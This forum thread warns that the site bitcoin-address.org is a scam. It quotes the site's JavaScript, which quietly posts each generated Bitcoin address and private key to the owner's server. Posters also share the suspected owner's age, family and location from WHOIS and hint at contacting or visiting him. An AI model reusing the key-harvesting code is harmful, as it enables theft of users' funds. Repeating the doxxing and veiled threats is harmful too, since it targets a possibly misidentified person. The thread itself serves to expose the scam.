Probable malicious site: bitcoin-address.org

[theymos]

Bitcoin-address.org was being spammed by JayKEy00. It's malicious, right?

[OpenYourEyes]

Certainly seems so. There is a javascript function at the bottom of the page which seems to send the public/private key off in an email:

Code:

...
        btcaddressEmail=document.getElementById('btcaddress'+kk).innerHTML;
	var privateKeyEmail=document.getElementById('btcprivwif'+kk).innerHTML;
	var dataToSend=new Object();
	dataToSend.btcaddressEmail=btcaddressEmail;
	dataToSend.privateKeyEmail=privateKeyEmail;
	sendToServer(dataToSend);

	})(count);
	count--;
				
	}	 		
}	

	function sendToServer(dataToSend){
		$.ajax({
			url:"sendEmail.php",
			type:"post",
			data:dataToSend,
			success:function(json){
				console.log(json);
				console.log("DONE");
			},
			error:function(){
				console.log("error");
			}
		});
	}

And here's the POST headers each time a new address is generated:

I'm sure it's only for statistics

Indeed. I'm sure I can find him some marketing companies that would be very interested in them. 

And, yet, the scammers account and his AE/shrills still remain active.

So what does the site do thats malicious?

That's an 18 year old chess talent living at home with his father who's a defense lawyer. At least he doesn't have to go very far when the crackdown cracks down.

Nothing, unless you don't mind the private key being email to the site owner which then gives them full access to any funds sent to one of their generated addresses.

Edit: Aha. Seems he has taking the site down. Hope it is because of a script I had an a loop which generated over 10,000 BTC addresses, bet his inbox is pretty full.

And I didn't even call his father yet...

Is your bio on him legit? Source?

I've got a copy of the website, so I'll quite happily contact his family

[greyhawk]

Only as legit as the WHOIS entry. So there's always the possibility of someone having entered another one's adress.

In any case he deleted it now. Seems to have gotten the message.

Also he's like an hour away from where I am. So there's no problem in going there to split a neighbourly piece of cake.

I wonder how many newcomers step in dogshit like this on their first step, and turn away for good. It would be much better for everyone if bitcoin was trademarked by any entity that is at least more trustworthy than the average person on this planet. I know Tibanne started working on this, but not sure how far they got.

Very wrong: even if it was trademarked, scam sites could still pop-up, and since they are likely already illegal anyway, they wouldn't care about the trademark and do it anyway.

It's like DRM: legit business would be hurt, while criminals would be unaffected.

How come there is no citi-bank.com where I would be asked to log in?

Again, none of them use TLD with "citi" and "bank" in its name. Otherwise they wouldn't have to try all the tricks to spoof or mask the actual link. Trademarking "bitcoin" would make phishing harder and less effective, as it opens the perpetrators to additional legal risk.

Wrong,They don't do because stealing money from banks isn't easy.
Plus there are several TLD's available for registration.

Take a Look at this thread.
